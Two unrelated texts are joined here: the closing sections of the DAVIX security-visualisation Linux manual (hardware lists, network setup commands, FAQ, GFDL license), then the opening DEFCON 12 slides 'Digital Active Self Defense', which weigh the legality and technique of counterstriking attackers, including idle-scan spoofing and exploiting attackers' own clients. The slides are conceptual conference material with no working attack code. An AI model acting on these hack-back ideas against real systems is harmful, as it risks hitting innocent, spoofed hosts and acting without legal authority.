Shuttle SK22G2
CPU Type
Dual Core AMD 2500
Memory
1 GB
Graphic Card
NVIDIA GeForce 7300 LE
LAN Network Card
VIA Compatible Fast Ethernet Adapter
Wireless Network Chipset
Intel PRO/Wireless 2200BG
PC Brand & Type
Custom built PC
CPU Type
Intel Core 2 6600 Dual Core, 2.4 GHz
Memory
2 GB
Graphic Card
NVIDIA 7950 GT
LAN Network Card
Marvel Yukon 88E8056 / Gigabit
Wireless Network Chipset
No wireless adapter
PC Brand & Type
Custom built PC based on Gigabyte GA-K8NF-9 motherboard
CPU Type
AMD Athlon 64 X2 Dual Core Processor 4400+, 2.21 GHz
Memory
2 GB
Graphic Card
Matrox Millennium P650 PCIe 128
LAN Network Card
NVIDIA nForce Networking Controller
Wireless Network Chipset
No wireless adapter
PC Brand & Type
Custom built PC based on Gigabyte GA-K8NF-9 motherboard
CPU Type
AMD Athlon 64 X2 Dual Core Processor 4400+, 2.21 GHz
Memory
2 GB
Graphic Card
NVIDIA GeForce 6500
LAN Network Card
NVIDIA nForce Networking Controller
Wireless Network Chipset
No wireless adapter
95 / 111
7.1.2. Incompatible Hardware
The hardware listed here is known to have problems.
PC Brand & Type
Dell Dimension E521
CPU Type
AMD
Memory
-
Graphic Card
-
LAN Network Card
-
Wireless Network Chipset
-
Issue
Graphic card and USB not detected.
PC Brand & Type
lenovo 3000 n200
CPU Type
Intel® Core 2 Duo
Memory
-
Graphic Card
NVIDIA GeForce Go 7300 with Turbo Cache
LAN Network Card
-
Wireless Network Chipset
-
Issue
Under KDE the start menu does not show text and icons.
96 / 111
7.2.
Virtual Machines
DAVIX runs as guest operating system on several different virtualization platforms.
Following configurations are known to work.
Host OS
Windows XP SP2
Virtualization Software
VMware Workstation 6.0.3 Build 80004
Guest OS Type
Other Linux 2.6 Kernel
Host OS
Ubuntu(Gutsy/Herdy)
Virtualization Software
VMware Server 1.0.4 Build 56528
Guest OS Type
Other Linux 2.6 Kernel
Host OS
Ubuntu(Gutsy/Herdy)
Virtualization Software
Virtualbox 1.5.6
Guest OS Type
Other Linux 2.6 Kernel
Host OS
Ubuntu(Gutsy/Herdy)
Virtualization Software
Qemu 0.9.0
Guest OS Type
Other Linux 2.6 Kernel
Host OS
FreeBSD 7.0 Stable
Virtualization Software
Qemu 0.9.1
Guest OS Type
Other Linux 2.6 Kernel
Host OS
Mac OS 10.5.2
Virtualization Software
Parallels 3.0 Build 5584
Guest OS Type
Other Linux
Host OS
Mac OS 10.5.2
Virtualization Software
VirtualBox 1.5.51
Guest OS Type
Linux 2.6
Host OS
Mac OS 10.5.2
Virtualization Software
VirtualBox 1.6.0
Guest OS Type
Linux 2.6
Host OS
Mac OS 10.5.3
Virtualization Software
VMware Fusion 1.1.2 Build 87978
Guest OS Type
Other Linux 2.6 Kernel
97 / 111
8.
Networking
8.1.
LAN networking
Wired LAN with DHCP should work out of the box on most systems. In some cases,
e.g. under VMware, it can sometimes happen that the interface eth0 is not up after
booting. The following procedure shows you how to troubleshoot connectivity
problems. For simplicity reasons the example shown here are based on the network
interface ID eth0. For your particular system it can be different.
• First check if your network cable is attached and if the LEDs on your network
card or switch port are turn on.
• See if eth0 is listed: ifconfig
• If in the resulting list eth0 is missing then try to start up the interface:
ifconfig eth0 up
• Check again if eth0 is up: ifconfig
• When the interface is showing up you can start the DHCP agent: dhcpcd eth0
• Check if a dynamic IP address was assigned: ifconfig
• If there no IP address was assigned, repeat the previous four steps.
8.2.
Wireless Networking
8.2.1. Kernel Supported Drivers
Since not every wireless card has open source drivers, setting up wireless LAN can be
difficult. But the first thing is to try if any the kernel supported drivers work. For
simplicity reasons the example shown here are based on the network interface ID eth0.
For your particular system it can be different, e.g. it can be wlan0 or ath0.
• First make sure that wireless is enabled in your BIOS and activated. On some
systems, like the Lenovo ThinkPad T60, it is required to turn on wireless by
moving the switch located on the outside of you notebook into the On position.
On others you can use a keyboard function shortcut to enable wireless, e.g. on
a Dell Inspiron it is Fn-F2.
• Boot DAVIX in KDE mode and open a console.
98 / 111
• Then check if a wireless interface is available: iwconfig
root@slax:~# iwconfig
lo no wireless extensions.
eth0 unassociated ESSID:off/any
Mode:Managed Channel=0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power=20 dBm Sensitivity=8/0
Retry limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:218 Missed beacon:0
eth1 no wireless extensions.
• Before being able to scan you have to startup the wireless device with the
command: ifconfig eth0 up
• Then you can scan for wireless LANs using: iwlist eth0 scan
• After a while a list of available Wireless access points will be visible. If you
favorite on is missing redo the scan.
root@slax:~# iwlist eth0 scan
eth0 Scan completed :
Cell 04 - Address: 00:DE:AD:BE:EF:00
ESSID:"xxx"
Protocol:IEEE 802.11b
Mode:Master
Frequency:2.412 GHz (Channel 1)
Encryption key:off
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
Quality=83/100 Signal level=-83 dBm
Extra: Last beacon: 184ms ago
• If your access point requires a WEP key then enter:
iwconfig eth0 key dead-beaf-dead-beaf-dead-beaf-de
• To attach to your desired access point with ESSID xxx use the following
command: iwconfig eth0 essid "xxx"
• Then start the DHCP agent: dhcpcd eth0
• Check if dynamic IP address was assigned: ifconfig
• If it does not work retry the previous 7 steps.
99 / 111
8.2.2. NDISwrapper
If the steps in the previous chapters do not work out for you, you can try to get
wireless running with the NDIS Drivers. DAVIX supports the ndiswrapper, which
allows you using the Windows NDIS Drivers.
For details on you particular wireless card see NDISwrapper home page17 and other
third party websites.
Known issues:
• Not all vendor drivers support the promiscuous mode in their wireless drivers.
It can therefore be that sniffing network traffic of other system on the network
is not possible.
17 NDISwrapper: http://ndiswrapper.sourceforge.net/
100 / 111
9.
Graphic Cards
9.1.
OpenGL
The underlying SLAX distribution supports many graphic cards. Thus, DAVIX
should work in most systems. There is one big limitation: Open GL runs in simulation
mode only. This can lead to situation, that applications that heavily rely on OpenGL,
e.g. like GoogleEarth, behave really slowly. But for most visualization tools found on
DAVIX there should not be any problems to expected
If you want to have better performance you have to install the vendor supported
graphic card drivers. Check the vendor web sites for details18:
3DLabs
http://www.3dlabs.com/support/drivers/
ATI
http://ati.amd.com/support/driver.html
Elsa
http://www.elsa.com/EN/Support/driver_gladiac.asp
Intel
http://support.intel.com/support/graphics
Matrox
http://www.matrox.com/mga/support/drivers/latest/home.cfm
NVIDIA
http://www.nvidia.com/content/drivers/drivers.asp
S3
http://www.s3graphics.com/drivers.jsp
SIS
http://www.sis.com/support/support_prodid.htm
Since these vendor drivers have very stringent licensing conditions it is not possible to
distribute them with DAVIX.
9.2.
Multi-Head Support
If you want to run DAVIX with two or more screens it is most of the time required to
use the vendor supplied graphic card driver. For vendor web sites see the URL list in
chapter OpenGL.
For configuration hints check the README and INSTALL files coming along the
vendor driver packages.
18 List taken from GoogleEarth Help: http://earth.google.com/support/bin/answer.py?answer=21462
101 / 111
10.
FAQ
Q: What does DAVIX stand for?
A: DAVIX is an abbreviation for "Data Analysis and VIsualization LinuX®".
Q: Which Linux distribution is DAVIX based on?
A: DAVIX utilizes the SLAX 6.0.x as a base.
Q: Which OS did you use as a build system for your modules?
A: A full installation of Slackware 12.0 and dropline Gnome 2.20.0 was used for
compiling applications from source code. Several DAVIX packages have been
directly taken from the Slackware distribution and have been converted with tgz2lzm
to SLAX packages.
Q: What is the difference between DAVIX and BackTrack:
A: BackTrack is very focused on penetration testing. Although several tools can be
found in both distributions, DAVIX concentrates on the aspects of data mining and
visualization.
Q: How can I provide a download mirror for DAVIX?
A: Create a cron job with following command and report the HTTP or FTP download
URL to us: jan.monsch ät iplosion.com
rsync -av 82.197.185.121::davix /to/wherever/it/goes/on/your/sever
Q: Where can I report a bug or a feature request?
A: We utilize Google Code for bug tracking. To report a bug you are required to
create a Google account. Our project URL is: http://code.google.com/p/davix/
Q: Can I build DAVIX from ground up?
A: Currently, the build scripts do not allow automated building of the CD. Therefore
we refrain from publishing the scripts. When we have fixed the build environment we
will certainly publish the build scripts.
102 / 111
11.
Acknowledgements
We would like to thank all people who have contributed to DAVIX in one form or
another. Without them DAVIX would not have been possible. Thank you!
In particular we would like to thank Gabriel Mueller for his regression testing efforts,
which tremendously help improving lots of details on the CD as well as in the manual.
A very big thanks to Greg Conti for his encouraging feedback, which showed us, that
we are on the right track. Above all Greg and John Goodall have given us a platform
at the vizSEC 2008 conference in Boston19 for presenting DAVIX to the research
community. We feel very honored and thank you both for this.
Beta-Testers for DAVIX:
• Greg Conti
• Eric Deschamps
• Benjamin Kohler
• C. S. Lee (geek00L)
• Kevin Liston
• mOODy
• Gabriel Mueller
• Jose M. Pavón (chmeee)
Mirror & Bandwidth Providers:
• Kord Campbell
• Benjamin Kohler
• Martin Winter
A special thanks to Ben Shneiderman from the University of Maryland Human-
Computer Interaction Lab for allowing us to integrate Treemap and Timesearcher 1 in
DAVIX.
19 vizSEC:http://www.vizsec.org/
103 / 111
12.
Licenses
12.1. Software
DAVIX incorporates software with different types of licenses ranging from BSD over
GPL to custom licenses. So if you want to make derivate works you have to check if
you are allowed to. The software packages utilized by DAVIX and their licenses are
documented in the file LICENSE-DAVIX.pdf, which can be found on the DAVIX
CD.
Everything which was built by the authors and are not part of other software
distributions are distributed under GNU GPL Version 2. Changes to third party
software packages are distributed under the license of the original software package.
Copyright (c) 2008 Jan P. Monsch, Raffael Marty
12.2. Sublicense Attribution
The registered trademark Linux® is used pursuant to a sublicense from LMI20, the
exclusive licensee of Linus Torvalds, owner of the mark on a world-wide basis.
The tools Treemap and Timesearcher 1 used with permission from Ben Shneiderman
from the University of Maryland Human-Computer Interaction Lab21.
12.3. Documentation
This document is distributed under the GNU Free Documentation License Version 1.2.
Copyright (c) 2008 Jan P. Monsch, Raffael Marty
Permission is granted to copy, distribute and/or modify this document under the terms
of the GNU Free Documentation License, Version 1.2 or any later version published
by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts,
and no Back-Cover Texts. A copy of the license is included in the section entitled
"GNU Free Documentation License".
20 Linux Mark Institute: http://www.linuxmark.org/
21 Human-Computer Interaction Lab: http://www.cs.umd.edu/hcil/
104 / 111
13.
Disclaimer
The DAVIX authors and contributors disclaim all warranties with regard to this
software and documentation, including all implied warranties of merchantability and
fitness. In no event shall the DAVIX authors and contributors be liable for any special,
indirect or consequential damages or any damages whatsoever resulting from loss of
use, data or profits, whether in an action of contract, negligence or other tortious
action, arising out of or in connection with the use or performance of this software.
105 / 111
14.
Versioning
0.1.0
Initial document
0.2.0
Beta 2 Release
0.5.0
Final release for Raffael's Applied Security Visualization book
106 / 111
15.
GNU Free Documentation License
GNU Free Documentation License
Version 1.2, November 2002
Copyright (C) 2000,2001,2002 Free Software Foundation, Inc.
51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
0. PREAMBLE
The purpose of this License is to make a manual, textbook, or other
functional and useful document "free" in the sense of freedom: to
assure everyone the effective freedom to copy and redistribute it,
with or without modifying it, either commercially or noncommercially.
Secondarily, this License preserves for the author and publisher a way
to get credit for their work, while not being considered responsible
for modifications made by others.
This License is a kind of "copyleft", which means that derivative
works of the document must themselves be free in the same sense. It
complements the GNU General Public License, which is a copyleft
license designed for free software.
We have designed this License in order to use it for manuals for free
software, because free software needs free documentation: a free
program should come with manuals providing the same freedoms that the
software does. But this License is not limited to software manuals;
it can be used for any textual work, regardless of subject matter or
whether it is published as a printed book. We recommend this License
principally for works whose purpose is instruction or reference.
1. APPLICABILITY AND DEFINITIONS
This License applies to any manual or other work, in any medium, that
contains a notice placed by the copyright holder saying it can be
distributed under the terms of this License. Such a notice grants a
world-wide, royalty-free license, unlimited in duration, to use that
work under the conditions stated herein. The "Document", below,
refers to any such manual or work. Any member of the public is a
licensee, and is addressed as "you". You accept the license if you
copy, modify or distribute the work in a way requiring permission
under copyright law.
A "Modified Version" of the Document means any work containing the
Document or a portion of it, either copied verbatim, or with
modifications and/or translated into another language.
A "Secondary Section" is a named appendix or a front-matter section of
the Document that deals exclusively with the relationship of the
publishers or authors of the Document to the Document's overall subject
(or to related matters) and contains nothing that could fall directly
within that overall subject. (Thus, if the Document is in part a
textbook of mathematics, a Secondary Section may not explain any
mathematics.) The relationship could be a matter of historical
connection with the subject or with related matters, or of legal,
commercial, philosophical, ethical or political position regarding
them.
The "Invariant Sections" are certain Secondary Sections whose titles
are designated, as being those of Invariant Sections, in the notice
that says that the Document is released under this License. If a
section does not fit the above definition of Secondary then it is not
allowed to be designated as Invariant. The Document may contain zero
Invariant Sections. If the Document does not identify any Invariant
Sections then there are none.
The "Cover Texts" are certain short passages of text that are listed,
as Front-Cover Texts or Back-Cover Texts, in the notice that says that
107 / 111
the Document is released under this License. A Front-Cover Text may
be at most 5 words, and a Back-Cover Text may be at most 25 words.
A "Transparent" copy of the Document means a machine-readable copy,
represented in a format whose specification is available to the
general public, that is suitable for revising the document
straightforwardly with generic text editors or (for images composed of
pixels) generic paint programs or (for drawings) some widely available
drawing editor, and that is suitable for input to text formatters or
for automatic translation to a variety of formats suitable for input
to text formatters. A copy made in an otherwise Transparent file
format whose markup, or absence of markup, has been arranged to thwart
or discourage subsequent modification by readers is not Transparent.
An image format is not Transparent if used for any substantial amount
of text. A copy that is not "Transparent" is called "Opaque".
Examples of suitable formats for Transparent copies include plain
ASCII without markup, Texinfo input format, LaTeX input format, SGML
or XML using a publicly available DTD, and standard-conforming simple
HTML, PostScript or PDF designed for human modification. Examples of
transparent image formats include PNG, XCF and JPG. Opaque formats
include proprietary formats that can be read and edited only by
proprietary word processors, SGML or XML for which the DTD and/or
processing tools are not generally available, and the
machine-generated HTML, PostScript or PDF produced by some word
processors for output purposes only.
The "Title Page" means, for a printed book, the title page itself,
plus such following pages as are needed to hold, legibly, the material
this License requires to appear in the title page. For works in
formats which do not have any title page as such, "Title Page" means
the text near the most prominent appearance of the work's title,
preceding the beginning of the body of the text.
A section "Entitled XYZ" means a named subunit of the Document whose
title either is precisely XYZ or contains XYZ in parentheses following
text that translates XYZ in another language. (Here XYZ stands for a
specific section name mentioned below, such as "Acknowledgements",
"Dedications", "Endorsements", or "History".) To "Preserve the Title"
of such a section when you modify the Document means that it remains a
section "Entitled XYZ" according to this definition.
The Document may include Warranty Disclaimers next to the notice which
states that this License applies to the Document. These Warranty
Disclaimers are considered to be included by reference in this
License, but only as regards disclaiming warranties: any other
implication that these Warranty Disclaimers may have is void and has
no effect on the meaning of this License.
2. VERBATIM COPYING
You may copy and distribute the Document in any medium, either
commercially or noncommercially, provided that this License, the
copyright notices, and the license notice saying this License applies
to the Document are reproduced in all copies, and that you add no other
conditions whatsoever to those of this License. You may not use
technical measures to obstruct or control the reading or further
copying of the copies you make or distribute. However, you may accept
compensation in exchange for copies. If you distribute a large enough
number of copies you must also follow the conditions in section 3.
You may also lend copies, under the same conditions stated above, and
you may publicly display copies.
3. COPYING IN QUANTITY
If you publish printed copies (or copies in media that commonly have
printed covers) of the Document, numbering more than 100, and the
Document's license notice requires Cover Texts, you must enclose the
copies in covers that carry, clearly and legibly, all these Cover
Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on
the back cover. Both covers must also clearly and legibly identify
you as the publisher of these copies. The front cover must present
the full title with all words of the title equally prominent and
108 / 111
visible. You may add other material on the covers in addition.
Copying with changes limited to the covers, as long as they preserve
the title of the Document and satisfy these conditions, can be treated
as verbatim copying in other respects.
If the required texts for either cover are too voluminous to fit
legibly, you should put the first ones listed (as many as fit
reasonably) on the actual cover, and continue the rest onto adjacent
pages.
If you publish or distribute Opaque copies of the Document numbering
more than 100, you must either include a machine-readable Transparent
copy along with each Opaque copy, or state in or with each Opaque copy
a computer-network location from which the general network-using
public has access to download using public-standard network protocols
a complete Transparent copy of the Document, free of added material.
If you use the latter option, you must take reasonably prudent steps,
when you begin distribution of Opaque copies in quantity, to ensure
that this Transparent copy will remain thus accessible at the stated
location until at least one year after the last time you distribute an
Opaque copy (directly or through your agents or retailers) of that
edition to the public.
It is requested, but not required, that you contact the authors of the
Document well before redistributing any large number of copies, to give
them a chance to provide you with an updated version of the Document.
4. MODIFICATIONS
You may copy and distribute a Modified Version of the Document under
the conditions of sections 2 and 3 above, provided that you release
the Modified Version under precisely this License, with the Modified
Version filling the role of the Document, thus licensing distribution
and modification of the Modified Version to whoever possesses a copy
of it. In addition, you must do these things in the Modified Version:
A. Use in the Title Page (and on the covers, if any) a title distinct
from that of the Document, and from those of previous versions
(which should, if there were any, be listed in the History section
of the Document). You may use the same title as a previous version
if the original publisher of that version gives permission.
B. List on the Title Page, as authors, one or more persons or entities
responsible for authorship of the modifications in the Modified
Version, together with at least five of the principal authors of the
Document (all of its principal authors, if it has fewer than five),
unless they release you from this requirement.
C. State on the Title page the name of the publisher of the
Modified Version, as the publisher.
D. Preserve all the copyright notices of the Document.
E. Add an appropriate copyright notice for your modifications
adjacent to the other copyright notices.
F. Include, immediately after the copyright notices, a license notice
giving the public permission to use the Modified Version under the
terms of this License, in the form shown in the Addendum below.
G. Preserve in that license notice the full lists of Invariant Sections
and required Cover Texts given in the Document's license notice.
H. Include an unaltered copy of this License.
I. Preserve the section Entitled "History", Preserve its Title, and add
to it an item stating at least the title, year, new authors, and
publisher of the Modified Version as given on the Title Page. If
there is no section Entitled "History" in the Document, create one
stating the title, year, authors, and publisher of the Document as
given on its Title Page, then add an item describing the Modified
Version as stated in the previous sentence.
J. Preserve the network location, if any, given in the Document for
public access to a Transparent copy of the Document, and likewise
the network locations given in the Document for previous versions
it was based on. These may be placed in the "History" section.
You may omit a network location for a work that was published at
least four years before the Document itself, or if the original
publisher of the version it refers to gives permission.
K. For any section Entitled "Acknowledgements" or "Dedications",
Preserve the Title of the section, and preserve in the section all
the substance and tone of each of the contributor acknowledgements
and/or dedications given therein.
109 / 111
L. Preserve all the Invariant Sections of the Document,
unaltered in their text and in their titles. Section numbers
or the equivalent are not considered part of the section titles.
M. Delete any section Entitled "Endorsements". Such a section
may not be included in the Modified Version.
N. Do not retitle any existing section to be Entitled "Endorsements"
or to conflict in title with any Invariant Section.
O. Preserve any Warranty Disclaimers.
If the Modified Version includes new front-matter sections or
appendices that qualify as Secondary Sections and contain no material
copied from the Document, you may at your option designate some or all
of these sections as invariant. To do this, add their titles to the
list of Invariant Sections in the Modified Version's license notice.
These titles must be distinct from any other section titles.
You may add a section Entitled "Endorsements", provided it contains
nothing but endorsements of your Modified Version by various
parties--for example, statements of peer review or that the text has
been approved by an organization as the authoritative definition of a
standard.
You may add a passage of up to five words as a Front-Cover Text, and a
passage of up to 25 words as a Back-Cover Text, to the end of the list
of Cover Texts in the Modified Version. Only one passage of
Front-Cover Text and one of Back-Cover Text may be added by (or
through arrangements made by) any one entity. If the Document already
includes a cover text for the same cover, previously added by you or
by arrangement made by the same entity you are acting on behalf of,
you may not add another; but you may replace the old one, on explicit
permission from the previous publisher that added the old one.
The author(s) and publisher(s) of the Document do not by this License
give permission to use their names for publicity for or to assert or
imply endorsement of any Modified Version.
5. COMBINING DOCUMENTS
You may combine the Document with other documents released under this
License, under the terms defined in section 4 above for modified
versions, provided that you include in the combination all of the
Invariant Sections of all of the original documents, unmodified, and
list them all as Invariant Sections of your combined work in its
license notice, and that you preserve all their Warranty Disclaimers.
The combined work need only contain one copy of this License, and
multiple identical Invariant Sections may be replaced with a single
copy. If there are multiple Invariant Sections with the same name but
different contents, make the title of each such section unique by
adding at the end of it, in parentheses, the name of the original
author or publisher of that section if known, or else a unique number.
Make the same adjustment to the section titles in the list of
Invariant Sections in the license notice of the combined work.
In the combination, you must combine any sections Entitled "History"
in the various original documents, forming one section Entitled
"History"; likewise combine any sections Entitled "Acknowledgements",
and any sections Entitled "Dedications". You must delete all sections
Entitled "Endorsements".
6. COLLECTIONS OF DOCUMENTS
You may make a collection consisting of the Document and other documents
released under this License, and replace the individual copies of this
License in the various documents with a single copy that is included in
the collection, provided that you follow the rules of this License for
verbatim copying of each of the documents in all other respects.
You may extract a single document from such a collection, and distribute
it individually under this License, provided you insert a copy of this
License into the extracted document, and follow this License in all
other respects regarding verbatim copying of that document.
110 / 111
7. AGGREGATION WITH INDEPENDENT WORKS
A compilation of the Document or its derivatives with other separate
and independent documents or works, in or on a volume of a storage or
distribution medium, is called an "aggregate" if the copyright
resulting from the compilation is not used to limit the legal rights
of the compilation's users beyond what the individual works permit.
When the Document is included in an aggregate, this License does not
apply to the other works in the aggregate which are not themselves
derivative works of the Document.
If the Cover Text requirement of section 3 is applicable to these
copies of the Document, then if the Document is less than one half of
the entire aggregate, the Document's Cover Texts may be placed on
covers that bracket the Document within the aggregate, or the
electronic equivalent of covers if the Document is in electronic form.
Otherwise they must appear on printed covers that bracket the whole
aggregate.
8. TRANSLATION
Translation is considered a kind of modification, so you may
distribute translations of the Document under the terms of section 4.
Replacing Invariant Sections with translations requires special
permission from their copyright holders, but you may include
translations of some or all Invariant Sections in addition to the
original versions of these Invariant Sections. You may include a
translation of this License, and all the license notices in the
Document, and any Warranty Disclaimers, provided that you also include
the original English version of this License and the original versions
of those notices and disclaimers. In case of a disagreement between
the translation and the original version of this License or a notice
or disclaimer, the original version will prevail.
If a section in the Document is Entitled "Acknowledgements",
"Dedications", or "History", the requirement (section 4) to Preserve
its Title (section 1) will typically require changing the actual
title.
9. TERMINATION
You may not copy, modify, sublicense, or distribute the Document except
as expressly provided for under this License. Any other attempt to
copy, modify, sublicense or distribute the Document is void, and will
automatically terminate your rights under this License. However,
parties who have received copies, or rights, from you under this
License will not have their licenses terminated so long as such
parties remain in full compliance.
10. FUTURE REVISIONS OF THIS LICENSE
The Free Software Foundation may publish new, revised versions
of the GNU Free Documentation License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns. See
http://www.gnu.org/copyleft/.
Each version of the License is given a distinguishing version number.
If the Document specifies that a particular numbered version of this
License "or any later version" applies to it, you have the option of
following the terms and conditions either of that specified version or
of any later version that has been published (not as a draft) by the
Free Software Foundation. If the Document does not specify a version
number of this License, you may choose any version ever published (not
as a draft) by the Free Software Foundation.
ADDENDUM: How to use this License for your documents
To use this License in a document you have written, include a copy of
the License in the document and put the following copyright and
license notices just after the title page:
111 / 111
Copyright (c) YEAR YOUR NAME.
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.2
or any later version published by the Free Software Foundation;
with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
A copy of the license is included in the section entitled "GNU
Free Documentation License".
If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts,
replace the "with...Texts." line with this:
with the Invariant Sections being LIST THEIR TITLES, with the
Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
If you have Invariant Sections without Cover Texts, or some other
combination of the three, merge those two alternatives to suit the
situation.
If your document contains nontrivial examples of program code, we
recommend releasing these examples in parallel under your choice of
free software license, such as the GNU General Public License,
to permit their use in free software. | pdf |
Digital Active
Digital Active
Self Defense
Self Defense
DEFCON 12
DEFCON 12
OUDOT Laurent
OUDOT Laurent
oudot
oudot@
@rstack
rstack.org
.org
http://www.
http://www.rstack
rstack.org/
.org/oudot
oudot//
Some references
•
Active Defense research project, Dittrich
– http://staff.washington.edu/dittrich/ad/
•
Defending your right to defend: Considerations of an automated strike-back
technology
– Timothy M. Mullen
•
Launch on Warning: Aggressive Defense of Computer Systems
– Curtis E.A. Karnow
•
Enforcer, Automated Worm Mitigation for private networks
– BlackHat Seattle, February 2003, Timothy M.Mullen, AnchorIS.com
•
Vigilantes on the net
– Barbara Moran, NewScientist, 12 june 2004
•
Symbiot, Adaptive Platform for Network Security
– http://www.symbiot.com
Summary
•
Introduction
– Digital threats,
– Hardening / reaction
– Prevention / Countermeasure
– Active Defense…?
•
Legal Issues
•
Technical considerations
– Fighting back
– Requirements
– Honeypots
– Handling Internal threats
– Examples
– Technical limitations
•
Conclusions
Introduction
• Current threats
– Known limitations for defense technologies
• Many solutions in the information security field
– Laws fail for certain kind of activities
• Natural temptation
– Fighting back attackers, counterstrike…
• Not so many solutions that use active countermeasure
capabilities
– Interesting field of research and development ?
The digital threats
• Though we use more and more security technologies,
there are still security problems
– Confidentiality, Integrity, Availability, Copyright, etc
– Information Assurance
• External threats
– Firewall, Proxies, Hardened services…
• Ethical Hackers, Corporate spies, Cyber terrorists...
• Internal threats : easier/faster access
– Authentication, In-depth Protection...
• Trainees, Outsourcing, Employees…
From hardening to reaction
• A lot of technologies might be used to block evil traffic
– Routers, Firewalls, proxies, etc
– Allow the minimum that is needed
• But aggressors still find solutions like :
– Bouncing in (bad security rules, bugs, etc)
– Getting an access inside the minimum accepted (target
services, target end-users with stupid clients, etc)
• Countermeasure technologies
– While getting a sign of an attack (IDS…), security resources
will respond by trying to stop the attack
– Could it be an interesting answer to handle some threats ?
Countermeasure problems
• Countermeasure : Detection Reaction
• The delay between a detection and the associated
response is not zero second
– Some packets may reach the victims
– IDS see signs of attacks while victims receive the attacks, so
that responses (RST, ICMP, firewall ruleset modified…) may
arrive too late to stop the attack (which has ever begun)
– Examples of problems :
• SQL-Worm : 1 UDP small packet !
• Multiple sources of attackers...
Prevention / Countermeasure
• « Intrusion Detection Systems + Firewall » ?
– Why couldn't we prevent the attack when we detect the
attack, in order to avoid problems ?
– Easy to say new concept ?!
• “happy super market concept” ? OR “real technical concept” ?
• Intrusion Prevention Systems
– NIPS : Network IPS
• Inline IDS
• Bait and switch honeypots…
– HIPS ?
• Sanboxes (grsecurity, systrace…)...
Prevention + Deception
• Diverting evil traffic
– “Building an Early Warning System in a Service Provider Network”, BH
Europe 2004, Nicolas Fischbach
• Bait and switch, « aggressive honeypot »
– Easy GPL modification on snort : snort plugin output
– Netfilter and routing under Linux2.4
– When evil packets are caught by snort from a given IP source, this one
is redirected to a fake network : prevention and deception
• An attacker launch an attack to the production network
• He is caught by the modified snort
• All his future actions will be transparently redirected to a deception network
(dedicated to blackhat people)
Taken from
http://www.violating.us/projects/baitnswitch
Bait & Switch example
Diversion & Drawbacks
• Excellent cool concept mixing firewalls, IDS and
honeypots in a kind of prevention architecture
• Some limitations :
– Yet another single point of failure (DOS)
– Rulesets and evasions against the IDS (snort)
– Denial of service with IP Spoofing of attacks claiming to come
from friendly hosts (white list to maintain)
– Fingerprinting a B&S network
• TCP problems after the switching
• TCP Timestamp changes…
• Multiple IP Source for the attacks : deception detected
Attacks against IPS
• Denial of service
– « IDS are too slow & easy to attack with states tables attacks, packet bombing...»
– More problems with IPS : detection AND prevention to do !
• Abusing the rulesets
– « easy to bypass ids with evasion, and 0-days exploits can’t be caught »
– More problems with IPS : 0-prevention !
• Generating a denial of service
– Spoofing an attack coming from (a) friendly host(s)
– Solution: white list, but what if a friend is used to bounce to you ?
• What about distributed attacks ?
– Multiple sources of coordinated attackers
• …
Active Defense…?
• Usual methods would not always work ?
– Block incoming traffic
• Might be problem for online services
– Apply rate limitation
• Bandwidth adjusted
– Divert the traffic
• Bait and switch technologies (honeypots)
– Fake responses (decoy)
• Should we use more aggressive methods ?
– Self Defense
– Counterstrike
• Disable, destroy, control the attacker
Warning
• Limitations
– Not a legal expert
– Legal issues might be different depending of the countries...
Legal Issues
• Toward a concept of digital active self defense ?
• Self defense occurs when someone is threatened with
imminent bodily harm
– Might be applied to avoid injury to property (computers…)
• Requirements
– Necessity: No choice but using force
• No adequate alternatives
– Proportionality: This force is reasonable
• Proportional response to the harm avoided
– The threat is unlawful
Proportional response
• What could mean proportional ?
– Risk of subjectivity / interpretation
• Need to create a classification of attacks to chose the
appropriate response
– Families of attacks and hierarchy
• DDOS > DOS ?
• Remote shell > Scan ?
• …
• Once it is done, you might be able to take a decision
No adequate alternatives
• Proving that you had no other choice ?
• Experts could argue that many other possibilities might
be used :
– First consideration : disconnect the victim(s) to avoid the
attack ?
• Self Defense doctrine does not always require the victim to back
away
• Such a disconnection would result in a kind of DOS on the victim
– What about an e-business web server ?
– Other possibilities : perimeter defenses ?
• How can we explain that the counterstrike tools were
able to fight back the attacker and that they could not
block the attack ?
– So many solutions of security to avoid an attack
• Conclusion : might be difficult to prove that you had no
other possibility
No adequate alternatives
Legal Issues and IW
• What about Information Warfare ?
– Not officially recognized by The Hague and Geneva
Conventions
– No real example of act of war on the cyber battlefield
• Individuals, groups, governments…
– No real legal considerations
Technical considerations
•
Striking back ?
–
Identify the tools/methods/sources
•
IDS, logs, network captures…
•
Avoid spoofing…
–
Take a decision
•
White list / Black list : destination of counterstrike allowed
–
e.g. hacking back internal users
–
Strike back !
Self Defense
Usual clients
Scanners
Exploits
Trojan clients
...
Action
Action
Victim
Aggressor
Reaction
Reaction
Risk with spoofing
• Risk of hacking back : attacking innocents
– May be difficult to find the real source of an aggression
• Example : aggressions with spoofing, reflectors...
– Idle scan : Aggressor is invisible on the target !
Aggressor
Zombie
Target
[1] (spoofing zombie)
[2] Syn|Ack or Rst
[3] Syn|Ack
(IPID probe)
[4]Rst
If (Syn|Ack) then Rst
Syn
Hacking Back ?
Fighting back usual clients
• Imagine what would happen if the aggressors used
vulnerable or mis-configured clients ?
– Web clients (IE…),
– SSH clients (Putty, OpenSSH…),
– Mail clients (Outlook…),
– DNS resolvers,
– IRC clients…
• Then a remote control/crash would be possible
– Very interesting for Self Defense !
Fighting back usual clients ??
• This is a not a so easy task
– Is it just theory ?
• Fighting back a listening client (mail client, etc) might be
easier because you can try an attack multiple times
(multiple mails...)
• Fighting back an incoming client may be a one shot
operation (web client, etc) during a specific phase
• You will need specific information to launch such an
attack (+ luck ?) :
– Operating System/Hardware (p0f...)
– Version (“Banner”)...
